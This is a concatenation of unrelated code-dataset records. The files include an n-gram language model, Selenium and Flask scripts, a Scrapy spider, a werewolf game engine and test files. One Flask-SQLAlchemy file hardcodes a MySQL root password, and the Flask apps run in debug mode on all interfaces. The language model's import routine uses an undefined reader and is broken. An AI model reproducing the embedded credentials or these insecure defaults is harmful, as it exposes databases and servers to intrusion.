self.bigrams[bigram] + 1\n\t\t\t\telse:\n\t\t\t\t\tself.bigrams[bigram] = 1\n\n\tdef getTotalWords(self):\n\t\tif (self.totalwords == -1):\n\t\t\tself.totalwords = sum(self.tokens.values())-self.tokens[\"\"]\n\t\treturn self.totalwords\n\n\n\tdef MLE_conditional(self,firstword,secondword):\n\t\treturn self.bigrams[(firstword,secondword)]*1.0/self.tokens[firstword] if (firstword,secondword) in self.bigrams else 0\n\n\tdef MLE_joint(self,firstword, secondword):\n\t\treturn self.bigrams[(firstword,secondword)]*1.0/(self.getTotalWords()) if (firstword,secondword) in self.bigrams else 0\n\n\tdef Laplace_conditional(self,firstword,secondword):\n\t\tnumoccurances = 0\n\t\tfirstoccurances = 0\n\t\tadditional = 0\n\t\tif (firstword,secondword) in self.bigrams:\n\t\t\tnumoccurances = self.bigrams[(firstword,secondword)]\n\t\tif firstword in self.tokens:\n\t\t\tfirstoccurances = self.tokens[firstword]\n\t\telse:\n\t\t\tadditional = 1\n\t\tif not (secondword in self.tokens):\n\t\t\tadditional = 1\n\n\t\treturn (numoccurances + 1.0)/(firstoccurances + len(self.tokens )-1 + additional)\n\n\tdef Laplace_unigram(self,token):\n\t\tcount = self.tokens[token] if token in self.tokens else 0\n\t\treturn (count + 1.0)/(len(self.tokens)-1+self.getTotalWords())\n\n\tdef Laplace_joint(self,firstword,secondword):\n\t\treturn self.Laplace_conditional(firstword,secondword)*self.Laplace_unigram(firstword)\n\n\tdef AD_condtional(self,firstword,secondword):\n\t\treturn (self.bigrams[(firstword,secondword)]-0.5)/self.tokens[firstword] if (firstword,secondword) in self.bigrams else 0\n\n\tdef AD_unigram(self, token):\n\t\treturn (self.tokens[token]-0.5)/(self.getTotalWords()) if token in self.tokens else 1.0/(len(self.tokens)-1)\n\n\n\tdef KatzBackoff_conditional(self,firstword,secondword):\n\t\tif (firstword,secondword) in self.bigrams:\n\t\t\treturn self.AD_condtional(firstword,secondword)\n\t\telse:\n\n\t\t\talpha_x = 1.0 - sum([self.AD_condtional(firstword,xw[1]) for xw in self.bigrams.keys() if (xw[0] == firstword)])\n\t\t\t\n\t\t\tbeta_num = self.AD_unigram(secondword)*1.0\n\t\t\tbeta_den = sum([self.AD_unigram(y) for y in self.tokens.keys() if (y !=\"\") and (firstword,y) not in self.bigrams])\n\n\t\t\treturn alpha_x*beta_num/beta_den\n\n\tdef exportLM(self,LMfilename,TOPBGfilename):\n\t\tdef insert(array,float,bigram):\n\t\t\tif len(array)==0:\n\t\t\t\tarray.insert(0,[bigram,float])\n\t\t\telif (len(array)<20) or (float > array[-1][1]):\n\t\t\t\ti = 0\n\t\t\t\twhile float < array[i][1]:\n\t\t\t\t\ti = i+1\n\t\t\t\tarray.insert(i,[bigram,float])\n\t\t\t\tif (len(array) >20):\n\t\t\t\t\tarray.pop(-1)\n\n\t\ttop20lap = []\n\t\ttop20MLE = []\n\n\t\twith open(LMfilename, 'wb') as outfile:\n\t\t\twriter = csv.writer(outfile,delimiter='\\t',quotechar='\"')\n\t\t\twriter.writerow([\"WORD1\",\"WORD2\",\"COUNT\",\"MLE_Conditional\",\"LAPLACE_Conditional\",\"KATZ_Conditional\",\" \"])\n\t\t\tfor bigram in self.bigrams:\n\t\t\t\tinsert(top20MLE,self.MLE_joint(bigram[0],bigram[1]),bigram)\n\t\t\t\tinsert(top20lap ,self.Laplace_joint(bigram[0],bigram[1]),bigram)\n\n\t\t\t\twriter.writerow([str(bigram[0]),str(bigram[1]),str(self.bigrams[bigram]),str(self.MLE_conditional(bigram[0],bigram[1])),str(self.Laplace_conditional(bigram[0],bigram[1])),str(self.KatzBackoff_conditional(bigram[0],bigram[1]))])\n\t\t\twriter.writerow([])\n\t\t\twriter.writerow([\"UNIGRAM\",\"COUNT\",\" \"])\n\t\t\tfor token in self.tokens:\n\t\t\t\twriter.writerow([str(token),str(self.tokens[token])])\n\n\t\twith open(TOPBGfilename,'wb') as topfile:\n\t\t\ttopwriter = csv.writer(topfile,delimiter='\\t',quotechar='\"')\n\t\t\ttopwriter.writerow([\"BIGRAM\",\"MLE_Joint\"])\n\t\t\tfor bigram in top20MLE:\n\t\t\t\ttopwriter.writerow(bigram)\n\t\t\ttopwriter.writerow([])\n\t\t\ttopwriter.writerow([\"BIGRAM\",\"Laplace_Joint\"])\n\t\t\tfor bigram in top20lap:\n\t\t\t\ttopwriter.writerow(bigram)\n\n\tdef importLM(self,LMfilename):\n\t\tself.bigrams = {}\n\t\tself.tokens = {}\n\t\tself.totalwords = -1\n\t\twith open(LMfilename, 'rb') as lmfile:\n\n\t\t\tfor row in reader:\n\t\t\t\t\n\t\t\t\tif len(row)==6:\n\t\t\t\t\tself.bigrams[(row[0],row[1])] = int(row[2])\n\t\t\t\telif len(row)==2:\n\t\t\t\t\tself.tokens[row[0]] = int(row[1])\n\n#def printhelp():\n#\ta = \"USAGE:\\n\\n\"\n#\tb = \"-t corpus LM TB\\t\\t\\t\\tTrain on *corpus*,\\n\\t\\t\\t\\t\\tstore model in *LM* as csv,\\n\\t\\t\\t\\t\\tand store top bigrams in *TB* as csv\\n\\n\"\n#\tc = \"-e LM corpus\\t\\t\\t\\tEvaluate language model file at *LM*\\n\\t\\t\\t\\t\\tusing test corpus in *corpus*\\n\\n\"\n#\td = \"-q [-m or -l or -k] LM word1 word2\\tQuery joint probability of\\n\\t\\t\\t\\t\\tP(word1,word2) or conditional\\n\\t\\t\\t\\t\\tprobability of P(word2|word1).\\n\\t\\t\\t\\t\\tUse -m,-l,or -k flag to specify method.\"\n#\tprint a+b+c+d\n#\n#if len(sys.argv) == 5 and sys.argv[1]==\"-t\":\n#\t with open(sys.argv[2], 'r') as myfile:\n#\t\tsentences = tokenize(myfile.read())\n#\t\tmodel=LanguageModel(sentences)\n#\t\tmodel.exportLM(sys.argv[3],sys.argv[4])\n#elif len(sys.argv) == 4 and sys.argv[1]==\"-e\":\n#\tmodel = LanguageModel([])\n#\tmodel.importLM(sys.argv[2])\n#\twith open(sys.argv[3], 'r') as testcorpus:\n#\t\tcorpus = tokenize(testcorpus.read())\n#\t\tprint \"\\nMLE Perplexity\\t\" + str(perplexityMLE(model,corpus))\n#\t\tprint \"Laplace Perplexity\\t\" + str(perplexityLAPLACE(model,corpus))\n#\t\tprint \"Katz Perplexity\\t\" + str(perplexityKAT(model,corpus))\n#\t\tprint \"Unigram AD Perplexity\\t\" + str(perplexityUNIGRAM(model,corpus))\n#elif len(sys.argv) == 6 and sys.argv[1]==\"-q\":\n#\tif sys.argv[2] ==\"-m\":\n#\t\tmodel = LanguageModel([])\n#\t\tmodel.importLM(sys.argv[3])\n#\t\tprint \"\\nMLE P(\" + str(sys.argv[5]) + \"|\" + str(sys.argv[4])+\"):\\t\" + str(model.MLE_conditional(sys.argv[4],sys.argv[5]))\n#\t\tprint \"MLE P(\" + str(sys.argv[4]) + \",\" + str(sys.argv[5])+\"):\\t\" + str(model.MLE_joint(sys.argv[4],sys.argv[5]))\n#\telif sys.argv[2] ==\"-l\":\n#\t\tmodel = LanguageModel([])\n#\t\tmodel.importLM(sys.argv[3])\n#\t\tprint \"\\nLaplace P(\" + str(sys.argv[5]) + \"|\" + str(sys.argv[4])+\"):\\t\" + str(model.Laplace_conditional(sys.argv[4],sys.argv[5]))\n#\t\tprint \"Laplace P(\" + str(sys.argv[4]) + \",\" + str(sys.argv[5])+\"):\\t\" + str(model.Laplace_joint(sys.argv[4],sys.argv[5]))\n#\telif sys.argv[2] ==\"-k\":\n#\t\tmodel = LanguageModel([])\n#\t\tmodel.importLM(sys.argv[3])\n#\t\tprint \"\\Katz P(\" + str(sys.argv[5]) + \"|\" + str(sys.argv[4])+\"):\\t\" + str(model.KatzBackoff_conditional(sys.argv[4],sys.argv[5]))\n#\telse:\n#\t\tprinthelp()\n#else:\n#\tprinthelp()\n\n","sub_path":"nlp.py","file_name":"nlp.py","file_ext":"py","file_size_in_byte":8282,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"111912496","text":"# -*- coding:utf-8 -*-\n#如果要在python2的py文件里面写中文,则必须要添加一行声明文件编码的注释,否则python2会默认使用ASCII编码。\nfrom selenium import webdriver\nimport os\nimport time\nimport random\t#random 提供了生成随机数的工具\nfrom Com.util import getSQLResult, getExcelData, setExcelData, getInterfaceResloanjc05, getExcelNrows,getSQLResulthxjc05 #GGFF.py\ndef Openingcard():\n interfaceNo = 2118\n for pid in range(1, getExcelNrows(interfaceNo)): #读取Excel表格\n mobile = getExcelData(\"mobile\", pid, \"20181216\") # 读取Excel列数\n cardId = getExcelData(\"cardId\", pid, \"20181216\") # 读取Excel列数\n custName = getExcelData(\"custName\", pid, \"20181216\") # 读取Excel列数\n bankCardNo = getExcelData(\"bankCardNo\", pid, \"20181216\") # 读取Excel列数\n custCode = getExcelData(\"custCode\", pid, \"20181216\") # 读取Excel列数\n intoappid = getExcelData(\"intoappid\", pid, \"20181216\") # 读取Excel列数\n BodyData = {\n \"bankCardNo\": bankCardNo,\n \"bankCardType\": \"10\", #银行卡类型 10-个人借记 20-个人贷记\n \"bankCode\": \"105\",\n \"busiCode\": \"LBB118\", #业务编码\n \"callPageUrl\": \"http://172.18.100.39:8081/fintech-appbiz/deposit/appCashRecordCallback\",\n \"certId\": cardId,\n \"certType\": \"1\",\n \"checkFlag\": \"0\",\n \"custCode\": custCode,\n \"custName\": custName,\n \"custType\": \"0\",\n \"depositCode\": \"02\", #存管渠道 00-非存管01-华瑞(存管)02-恒丰(存管)03-向上(存管)\n \"frontTransNo\": \"201801830089%d\"%random.randint(00000000,99999999),\n \"frontTransTime\": \"2018-09-01 10:51:00\",\n \"interfaceNo\": \"2118\",\n \"isAppFlg\": \"0\",\n \"phone\": mobile,\n \"serialNumber\": \"201801830089%d\"%random.randint(00000000,99999999),\n \"subsidiaryCode\": \"JYJF\",#开户主体\n \"sysSource\": \"2\"\n }\n print(BodyData)\n rebody = getInterfaceResloanjc05(interfaceNo, BodyData)\t#getInterfaceRes 取请求报文\n print(rebody)\n htmlContext = rebody[\"responseBody\"][\"returnMsg\"] #读取返回报文htmlContext值\n print(rebody)\n fh = open(\"htmlContext%d.html\"%pid, \"w\",encoding=\"utf-8\")\n fh.write(htmlContext)\n fh.close()\n\n\n driver = webdriver.Chrome(executable_path =\"C:\\Program Files (x86)\\Google\\Chrome\\Application\\chromedriver.exe\")\n url = 'file:///' + os.path.abspath(\"htmlContext%d.html\"%pid)\n url2 = url.replace('\\\\', '/')\n driver.get(url2)\n time.sleep(2)\n time.sleep(5)\n driver.find_element_by_xpath(\"//*[@id='sendSmsVerify']\").click() #发送短信验证码\n time.sleep(2)\n driver.find_element_by_xpath(\"//*[@id='alertLayer-2']/div[2]/a\").click()\n driver.find_element_by_xpath(\"//*[@id='smsCode']\").send_keys(\"123456\")\n driver.find_element_by_xpath(\"//*[@id='password']\").send_keys(\"q1111111\")\n driver.find_element_by_xpath(\"//*[@id='confirmPassword']\").send_keys(\"q1111111\")\n driver.find_element_by_xpath(\"//*[@id='nextButton']\").click()\n time.sleep(2)\n #driver.find_element_by_xpath(\"//*[@id='nextBtn']\").click() #//*[@id=\"nextBtn\"] //*[@id=\"nextBtn\"] //*[@id=\"sendSmsVerify\"]\n time.sleep(3)\n driver.quit()\n\n # setExcelData(rebody, \"返回报文\", pid, interfaceNo)\n #对接口返回结果进行判断\t尝试对非以下结果抛异常\n res = rebody[\"responseBody\"][\"retCode\"]\n if res == \"0000\":\n setExcelData(\"pass\", \"测试结果\", pid, interfaceNo)\n elif res == \"0001\":\n setExcelData(\"fail\", \"测试结果\", pid, interfaceNo)\n elif res == \"9999\":\n setExcelData(\"day_of_end\", \"测试结果\", pid)\n print(\"核心日终啦,测不了啦,下班吧~~~~~~~~~~~~~\")\n break\n #连接数据库进行判断\n sql = \"select * from t_c_at_account tb where tb.master_id='\"+custCode+\"'\"\n result =getSQLResulthxjc05(sql)\n for i in range(len(result)):\n account = result[i][3]\n print(account)\n print(\"借款人开户绑卡2118接口:\"+str(result))\t#获取数据库某个字段值的查询结果,尝试获取某几个字段的查询结果\n setExcelData(sql, \"查询SQL\", pid, interfaceNo)\n setExcelData(result, \"SQL结果\", pid, interfaceNo) # 获取数据库某个字段值的查询结果,尝试获取某几个字段的查询结果\n setExcelData(BodyData, \"请求报文\", pid, interfaceNo)\n setExcelData(rebody, \"返回报文\", pid, interfaceNo)\n setExcelData(account, \"account\", pid, interfaceNo)\n#Openingcard()","sub_path":"Com/Openingcard.py","file_name":"Openingcard.py","file_ext":"py","file_size_in_byte":4816,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"158386964","text":"from flask import Flask,jsonify\nfrom apacheconfig import *\nimport json\n\napp = Flask(__name__)\n\ndef getApplications():\n apps = []\n ports = []\n with make_loader() as loader:\n config = loader.load('/Users/adejavel/Documents/config.conf')\n # print(json.dumps(config['VirtualHost'][2]))\n for conf in config['VirtualHost']:\n for key in conf:\n if key.split(\":\")[1] == \"443\":\n new_port = int(conf[key]['ProxyPass'].split(\":\")[2].split(\"/\")[0])\n apps.append({\n \"name\": key.split(\":\")[0],\n \"port\": new_port\n })\n ports.append(new_port)\n return {\"apps\":apps,\"ports\":ports}\n\n\n@app.route('/getApps')\ndef getApps():\n return jsonify({\"status\":True,\"apps\":getApplications()})\n\n@app.route('/getAvailablePort/')\ndef getFreePort(number):\n ports= getApplications()[\"ports\"]\n allocated_ports=[]\n port = 8082\n for i in range(number):\n while port in ports:\n port+=1\n port+=1\n allocated_ports.append(port)\n return jsonify({\"status\":True,\"ports\":allocated_ports,\"number\":number})\n\n\nif __name__ == \"__main__\":\n app.run(host=\"0.0.0.0\", debug=True)\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1266,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"234314988","text":"import logging\nimport requests\nimport json\nimport os\n\nlog = logging.getLogger(\"VIDEORESPONSE\")\nlog.setLevel(logging.DEBUG)\n\n\nclass VideoReponse:\n def __init__(self, url: str=\"http://54.169.34.162:5252\"):\n self.url = url\n\n def get_video_title(self):\n \"\"\"This function fetches a video name from the url\n \"\"\"\n get_url = f\"{self.url}/video\"\n log.info(f\"HTTP GET: {get_url}\")\n r = requests.get(get_url)\n log.info(f\"GET RESP: {r.status_code}\")\n video_title = r.content.decode()\n assert isinstance(video_title, str)\n log.info(f\"Fetched Video: {video_title}\")\n return video_title\n\n def upload_up_next(self, videos_up_next: dict):\n \"\"\"This function uploads a jason file of the argued dictionary to the url\n \"\"\"\n json_upnext = json.dumps(videos_up_next)\n with open (\"results.json\", \"w\") as f:\n log.info(f\"Creating Json File\")\n f.write(json_upnext)\n files = {'file': ('results.json', open('results.json', 'rb'), 'multipart/form-data')}\n post_url = f\"{self.url}/upload\"\n log.info(f\"HTTP POST: {post_url}\")\n r = requests.post(post_url, files=files)\n log.info(f\"POST RESP: {r.status_code}\")\n hash_key = r.content.decode()\n log.info(f\"Hash Key: {hash_key}\")\n return hash_key\n\n def get_result(self, hash_key: str):\n \"\"\"This function fetches the result using the hash key\n \"\"\"\n get_url = f\"{self.url}/result/{hash_key}\"\n log.info(f\"HTTP GET: {get_url}\")\n r = requests.get(get_url)\n log.info(f\"GET RESP: {r.status_code}\")\n response = r.content.decode()\n log.info(f\"Result Response: {response}\")\n return response\n","sub_path":"utils/video_response.py","file_name":"video_response.py","file_ext":"py","file_size_in_byte":1752,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"96476077","text":"# -*- coding: utf-8 -*-\n\"\"\"This file is a TheAplicantManagerDb spider created on top of the TheAplicantManager\nscrapy crawl theapplicantmanager_db -a url=\"https://theapplicantmanager.com/careers?co=db\" -a mining_job_id=999 -a iteration=1 -a extract=1\nsample url:\n https://theapplicantmanager.com/careers?co=db\n https://theapplicantmanager.com/careers?co=la\n\"\"\"\nfrom urlparse import urljoin\nfrom re import compile\n\nfrom scrapy.selector import Selector\nfrom scrapy.http import Request\n\nfrom brightcorp.spiders.theapplicantmanager import TheAplicantManager\n\n\nclass TheAplicantManagerDb(TheAplicantManager):\n\n name = \"theapplicantmanager_db\"\n loc_re = compile(\".*\\((.*)\\)$\")\n\n def parse(self, response):\n sel = Selector(response)\n jobs = sel.xpath(\"//a[@class='pos_title_list']\")\n for job in jobs:\n job_link = job.xpath(\"./@href\").extract()\n if job_link:\n job_url = urljoin(response.url, job_link[0])\n title = job.xpath(\"./text()\").extract()\n meta = {\n 'title': title,\n 'location': title\n }\n yield Request(\n job_url, meta=meta, callback=self.parse_job_callback()\n )\n","sub_path":"brightcorp/brightcorp/spiders/theapplicantmanager_db.py","file_name":"theapplicantmanager_db.py","file_ext":"py","file_size_in_byte":1271,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"572230618","text":"#!/usr/bin/python\n#-*- coding: utf-8 -*-\n\nimport random\nfrom messages import diz\n\n\nclass GameError(Exception):\n pass\n\n\nclass StateError(GameError):\n pass\n\n\nclass NoWerewolf(GameError):\n pass\n\n\nclass NotAliveError(GameError):\n pass\n\n\nclass WrongPlayerNumberError(GameError):\n pass\n\n\nclass UnrecognizedRole(GameError):\n pass\n\n\nclass MoreThanOneWorP(GameError):\n pass\n\n\nclass WrongNumberPlayers(GameError):\n pass\n\n\nclass Role:\n def __init__(self, name, good, special):\n self.name = name\n self.good = good\n self.special = special\n\n def __str__(self):\n return self.name\n\n def __repr__(self):\n return self.__str__()\n\n\npeasant = Role(\"Contadino\", True, False)\nwerewolf = Role(\"werewolf\", False, False)\nwatcher = Role(\"watcher\", True, True)\nprotector = Role(\"protector\", True, True)\nwerewolf_son = Role(\"son\", True, True)\n\n\nW_TIE = 0\nW_GOOD = 1\nW_BAD = 2\n\n\ndef stateName(state, language):\n if state in diz:\n return diz[state][language]\n else:\n return \"ERROR\"\n\n\ndef sideName(side, language):\n if side == W_TIE:\n return diz[\"tied_game\"][language]\n elif side == W_GOOD:\n return diz[\"good_won\"][language]\n elif side == W_BAD:\n return diz[\"bad_won\"][language]\n else:\n return \"ERROR\"\n\n\ndef check_roles(rolestring):\n if len(rolestring.split(\"v\")) > 2 or len(rolestring.split(\"p\")) > 2:\n raise MoreThanOneWorP\n if \"l\" not in rolestring:\n raise NoWerewolf\n\n\ndef ch2role(c):\n \"\"\"Role translation\"\"\"\n if c == \"c\":\n return peasant\n elif c == \"l\":\n return werewolf\n elif c == \"v\":\n return watcher\n elif c == \"p\":\n return protector\n elif c == \"f\":\n return werewolf_son\n else:\n raise UnrecognizedRole\n\n\nclass DefineGame:\n \"\"\"Define Game from bot questions\"\"\"\n def __init__(self):\n self.stato = \"players\"\n self.n_players = None\n self.n_wolves = None\n self.n_watcher = None\n self.n_protector = None\n self.n_son = None\n\n def set_players(self, n):\n self.n_players = n\n self.stato = \"wolf\"\n\n def set_wolves(self, n):\n self.n_wolves = n\n self.stato = \"watcher\"\n\n def set_watcher(self, n):\n self.n_watcher = n\n self.stato = \"protector\"\n\n def set_protector(self, n):\n self.n_protector = n\n self.stato = \"son\"\n\n def set_son(self, n):\n self.n_son = n\n\n def set_state(self, state):\n self.stato = state\n\n\n\nclass Game:\n \"\"\"Game class\"\"\"\n def __init__(self, rolelist):\n self.rolelist = rolelist\n self.turn = 0\n self.state = \"PRE\"\n self.special = {'werewolf': False,\n 'watcher': False if watcher in rolelist else True,\n 'protector': False if protector in rolelist else True}\n self.son_state = False\n self.players = []\n\n @staticmethod\n def from_rolestring(rolestring):\n \"\"\"Initialize Game given list of roles\"\"\"\n check_roles(rolestring)\n rolelist = []\n for c in rolestring:\n r = ch2role(c)\n rolelist.append(r)\n return Game(rolelist)\n\n @staticmethod\n def from_questions(n_players, n_wolves, n_watcher, n_protector, n_son):\n \"\"\"Initialize Game given players, werewolves, watchers, protectors and sons numbers\"\"\"\n rolelist = [werewolf] * n_wolves\n rolelist += [watcher] * n_watcher\n rolelist += [protector] * n_protector\n rolelist += [werewolf_son] * n_son\n n_contadini = n_players - len(rolelist)\n if n_contadini < 0:\n raise WrongNumberPlayers\n rolelist += [peasant] * n_contadini\n return Game(rolelist)\n\n def setPlayers(self, players):\n \"\"\"Give roles to players\"\"\"\n if len(players) != len(self.rolelist):\n raise WrongPlayerNumberError\n\n random.shuffle(self.rolelist)\n\n for i, p in enumerate(players):\n p.role = self.rolelist[i]\n\n self.state = \"RUOLI_ASSEGNATI\"\n\n def alivePlayers(self):\n return [p for p in self.players if p.alive]\n\n def goodPlayers(self):\n return [p for p in self.players if (p.alive and p.role.good)]\n\n def badPlayers(self):\n return [p for p in self.players if (p.alive and (not p.role.good))]\n\n def wolves(self):\n return [p for p in self.players if (p.alive and p.role == werewolf)]\n\n def watcher(self):\n return [p for p in self.players if (p.alive and p.role == watcher)]\n\n def protector(self):\n return [p for p in self.players if (p.alive and p.role == protector)]\n\n def checkEnd(self):\n \"\"\"Check if the game end\"\"\"\n if len(self.alivePlayers()) == 0:\n self.state = \"FINISH\"\n self.win = W_TIE\n return\n if len(self.goodPlayers()) == 0:\n self.state = \"FINISH\"\n self.win = W_BAD\n return\n if len(self.badPlayers()) == 0:\n self.state = \"FINISH\"\n self.win = W_GOOD\n\n def euthanise(self, toe):\n \"\"\"Delete one player\"\"\"\n self.players[toe].alive = False\n self.players[toe].choice = None\n self.checkEnd()\n\n def inputNight(self, results):\n \"\"\"Night step\"\"\"\n if self.state != \"NIGHT_END\":\n raise StateError\n\n killed_now = []\n out = {}\n\n tp = None\n if 'toprotect' in results:\n tp = results['toprotect']\n\n if not self.players[tp].alive:\n raise NotAliveError\n\n if 'tomurder' in results:\n tm = results['tomurder'][0]\n if tm is not None:\n if not self.players[tm].alive:\n raise NotAliveError\n elif tp != tm and self.players[tm].role != werewolf_son:\n killed_now.append(tm)\n elif self.players[tm].role == werewolf_son:\n self.son_state = True\n self.players[tm].role = werewolf\n\n out['killed_now'] = killed_now\n\n if 'toview' in results:\n tv = results['toview']\n out['viewed'] = self.players[tv].role.good\n\n if not self.players[tv].alive:\n raise NotAliveError\n\n for tokill in killed_now:\n self.players[tokill].alive = False\n\n self.state = \"DAY\"\n\n self.checkEnd()\n\n return out\n\n def inputDay(self, voted, n_veggenti, n_protettori):\n \"\"\"Day syep\"\"\"\n if not self.players[voted].alive:\n raise NotAliveError\n\n self.players[voted].alive = False\n\n self.state = \"NIGHT\"\n self.special['watcher'] = False if n_veggenti >= 1 else True\n self.special['protector'] = False if n_protettori >= 1 else True\n\n self.checkEnd()\n\n def recompute_player_index(self):\n \"\"\"Recompute players index\"\"\"\n for i, p in enumerate(self.players):\n p.index = i","sub_path":"engine.py","file_name":"engine.py","file_ext":"py","file_size_in_byte":6977,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"309354920","text":"from flask import Flask,render_template,url_for,flash,redirect,abort\nfrom flask_sqlalchemy import SQLAlchemy\nfrom forms import ArticleForm,AuthorForm\nimport os\n\ndatabase_url = 'mysql+pymysql://root:fuermosi159@localhost:3306/kaihang'\n\napp = Flask(__name__)\ndb = SQLAlchemy(app)\n\napp.config['SECRET_KEY'] = os.getenv('SECRET_KEY', 'secret string')\n\n#配置数据库URI\n#os.getenv()是获取‘DATABSE_URL'的环境变量\napp.config['SQLALCHEMY_DATABASE_URI'] = os.getenv('DATABASE_URL', database_url)\n\n#这个在进行sqlalchemy的初始化时需要进行修改,\n#这个配置变量决定是否追踪对象的修改,如果不用的话就设置为False\napp.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = True\n\nclass Author(db.Model):\n\t'''\n\t在“一”的一侧定义关系属性,使用relationship()这个集合关系属性。\n\t这个属性并不是数据库字段,而是类似于特定的查询函数,当我们调用这个属性的时候,\n\t我们可以从Article表中得到所有的article,所以我们说这是一个集合关系属性、\n\t'''\n\tid = db.Column(db.Integer,primary_key=True)\n\tname = db.Column(db.String(70),unique=True)\n\tphone = db.Column(db.String(20))\n\tarticles = db.relationship('Article')\n\nclass Article(db.Model):\n\t'''\n\t在“多”的一侧定义外键,外键为“一”的主键值,\n\t表明多篇文章属于同一个作者\n\t在给author_id赋值的时候,一定要保证Author有对应的id对应,否则会报错,表示外键约束创建失败。\n\n\t'''\n\tid = db.Column(db.Integer,primary_key=True)\n\ttitle = db.Column(db.String(50),unique=True)\n\tbody = db.Column(db.Text)\n\tauthor_id = db.Column(db.Integer,db.ForeignKey('author.id'))\n \n@app.route('/index')\ndef index():\n\tauthors = Author.query.all()\n\tarticles = Article.query.all()\n\treturn render_template('index.html',authors=authors,articles=articles)\n \n@app.route('/new_author',methods=['GET','POST'])\ndef new_author():\n\tform = AuthorForm()\n\tif form.validate_on_submit():\n\t\tname = form.name.data\n\t\tphone = form.phone.data\n\t\tauthor = Author(name=name,phone=phone)\n\t\tdb.session.add(author)\n\t\tdb.session.commit()\n\t\tflash('Register success!')\n\t\treturn redirect(url_for('index'))\n\treturn render_template('new_author.html',form=form)\n\n@app.route('/new_article',methods=['GET','POST'])\ndef new_article():\n\tform = ArticleForm()\n\tif form.validate_on_submit():\n\t\ttitle = form.title.data\n\t\tauthor_id = form.author_id.data\n\t\tbody = form.body.data\n\t\tarticle = Article(author_id=author_id,body=body,title=title)\n\t\tdb.session.add(article)\n\t\tdb.session.commit()\n\t\treturn redirect(url_for('index'))\n\treturn render_template('new_article.html',form=form) \n","sub_path":"databaseV2.py","file_name":"databaseV2.py","file_ext":"py","file_size_in_byte":2636,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"412359248","text":"#!/usr/bin/env python\n\n\"\"\" Test unicode support in tvnamer\n\"\"\"\n\nfrom functional_runner import run_tvnamer, verify_out_data\nfrom nose.plugins.attrib import attr\n\nimport unicodedata\n\n\n@attr(\"functional\")\ndef test_unicode_in_inputname():\n \"\"\"Tests parsing a file with unicode in the input filename\n \"\"\"\n input_files = [\n u'The Big Bang Theory - S02E07 - The Panty Pin\\u0303ata Polarization.avi']\n\n expected_files = [\n u'The Big Bang Theory - [02x07] - The Panty Pin\\u0303ata Polarization.avi']\n\n out_data = run_tvnamer(\n with_files = input_files,\n with_flags = [\"--batch\"])\n\n verify_out_data(out_data, expected_files)\n\n\n@attr(\"functional\")\ndef test_unicode_in_search_results():\n \"\"\"Show with unicode in search results\n \"\"\"\n input_files = [\n 'psych.s04e11.avi']\n\n expected_files = [\n 'Psych - [04x11] - Thrill Seekers & Hell Raisers.avi']\n\n out_data = run_tvnamer(\n with_files = input_files,\n with_input = '1\\ny\\n')\n\n verify_out_data(out_data, expected_files)\n\n\n@attr(\"functional\")\ndef test_not_overwritting_unicode_filename():\n \"\"\"Test no error occurs when warning about a unicode filename being overwritten\n \"\"\"\n input_files = [\n u'The Big Bang Theory - S02E07.avi',\n u'The Big Bang Theory - [02x07] - The Panty Pin\\u0303ata Polarization.avi']\n\n expected_files = [\n u'The Big Bang Theory - S02E07.avi',\n u'The Big Bang Theory - [02x07] - The Panty Pin\\u0303ata Polarization.avi']\n\n out_data = run_tvnamer(\n with_files = input_files,\n with_flags = ['--batch'])\n\n verify_out_data(out_data, expected_files)\n\n","sub_path":"tests/test_unicode.py","file_name":"test_unicode.py","file_ext":"py","file_size_in_byte":1655,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"74265531","text":"\n\nfrom xai.brain.wordbase.nouns._centenarian import _CENTENARIAN\n\n#calss header\nclass _CENTENARIANS(_CENTENARIAN, ):\n\tdef __init__(self,): \n\t\t_CENTENARIAN.__init__(self)\n\t\tself.name = \"CENTENARIANS\"\n\t\tself.specie = 'nouns'\n\t\tself.basic = \"centenarian\"\n\t\tself.jsondata = {}\n","sub_path":"xai/brain/wordbase/nouns/_centenarians.py","file_name":"_centenarians.py","file_ext":"py","file_size_in_byte":273,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"344745443","text":"# -*- encoding: utf-8 -*-\r\n'''\r\nCurrent module: demo.usage_webdriver_local\r\n\r\nRough version history:\r\nv1.0 Original version to use\r\n\r\n********************************************************************\r\n @AUTHOR: Administrator-Bruce Luo(罗科峰)\r\n MAIL: lkf20031988@163.com\r\n RCS: demo.usage_webdriver_local,v 1.0 2017年5月19日\r\n FROM: 2017年5月19日\r\n********************************************************************\r\n\r\n======================================================================\r\n\r\nUI and Web Http automation frame for python.\r\n\r\n'''\r\n\r\n\r\nfrom rock4 import WebTest\r\n# local webdriver\r\n\r\n'''\r\nWebTest local parameter:\r\n browser: firefox or chrome\r\n download_path: set default download path of firefox or chrome\r\n marionette: True / False, use firefox browser version 47.0.1 or greater if True \r\n''' \r\ntest = WebTest(browser = \"chrome\")\r\n# find_driver 与 find_drivers 优先连接 Remote driver,连接不上再连接Local driver\r\n# find_driver 返回第一个driver; find_drivers 返回dict; 返回的 driver 是 selenium 对象\r\ndriver = test.find_driver()\r\ndriver.get(\"http://www.baidu.com\")\r\ndriver.quit()\r\n","sub_path":"demo/usage_webdriver_local.py","file_name":"usage_webdriver_local.py","file_ext":"py","file_size_in_byte":1197,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"593849087","text":"from tkinter import *\r\nfrom PIL import Image, ImageTk\r\n\r\nclass Window(Frame):\r\n \r\n \"\"\" Create a basic window \"\"\"\r\n def __init__(self, master = None):\r\n Frame.__init__(self, master)\r\n self.master = master\r\n \r\n self.init_window()\r\n \r\n \"\"\" Name window title and create a menu bar/button \"\"\"\r\n def 